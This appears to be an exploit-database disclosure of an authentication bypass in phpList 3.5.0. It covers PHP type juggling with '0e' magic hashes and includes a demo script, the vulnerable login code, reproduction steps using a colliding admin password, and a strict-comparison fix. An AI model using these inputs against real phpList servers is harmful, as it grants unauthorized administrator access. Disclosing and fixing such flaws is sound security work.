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"phpList 3.5.0 - Authentication Bypass"

Author

Exploit author

"Suvadip Kar"

Platform

Exploit platform

php

Release date

Exploit published date

2020-02-03

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# Exploit Title: phpList 3.5.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-02-03
# Exploit Author: Suvadip Kar
# Author Contact: https://twitter.com/spidersec
# Vendor Homepage: https://www.phplist.org
# Software Link: https://www.phplist.org/download-phplist/
# Version: 3.5.0
# Tested on: Linux
# CVE : N/A

Background of the Vulnerability :

Php loose comparison '==' compares two operands by converting them to integers even if they are strings.

EXAMPLE CODE:

 <?php
 var_dump(hash('sha256', 'TyNOQHUS') == '0e66298694359207596086558843543959518835691168370379069085300385');
 var_dump(hash('sha256', '34250003024812') == '0e66298694359207596086558843543959518835691168370379069085300385');
 ?>

OUTPUT:

bool(true)
bool(true)

Vulnerable code:

GITHUB: https://github.com/phpList/phplist3/blob/master/public_html/lists/admin/phpListAdminAuthentication.php
-----
if(empty($login)||($password=="")){
    return array(0, s('Please enter your credentials.'));
}
if ($admindata['disabled']) {
    return array(0, s('your account has been disabled'));
}
if (//Password validation.
    !empty($passwordDB) && $encryptedPass == $passwordDB // Vulnerable because loose comparison is used
)
    return array($admindata['id'], 'OK');
 else {
    if (!empty($GLOBALS['admin_auth_module'])) {
        Error(s('Admin authentication has changed, please update your admin module'),
            'https://resources.phplist.com/documentation/errors/adminauthchange');
        return;
        }
return array(0, s('incorrect password'));

}
-------

Steps to reproduce:

 1. Set the string 'TyNOQHUS' as password for username 'admin'. Its sha256 value is 0e66298694359207596086558843543959518835691168370379069085300385.

 2. Now navigate to endpoint '/admin' and try to login with username 'admin' password 'TyNOQHUS'.

 3. User Logged in with valid password.

 4. Now logout from the application and try to login with username 'admin' password '34250003024812'.

 5. User Logged in, without valid password.

 6. Authentication bypassed because of PHP loose comparison.

 FIX: This vulnerability can be fixed by using strict comparison (===) in place of loose comparison.
 -----
 if(empty($login)||($password=="")){
     return array(0, s('Please enter your credentials.'));
 }
 if ($admindata['disabled']) {
     return array(0, s('your account has been disabled'));
 }
 if (//Password validation.
     !empty($passwordDB) && $encryptedPass === $passwordDB // Fixed by using strict comparison '==='.
 )
     return array($admindata['id'], 'OK');
  else {
     if (!empty($GLOBALS['admin_auth_module'])) {
         Error(s('Admin authentication has changed, please update your admin module'),
             'https://resources.phplist.com/documentation/errors/adminauthchange');
         return;
         }
 return array(0, s('incorrect password'));

 }
 -------

Additional Resource: https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47989/?format=json')

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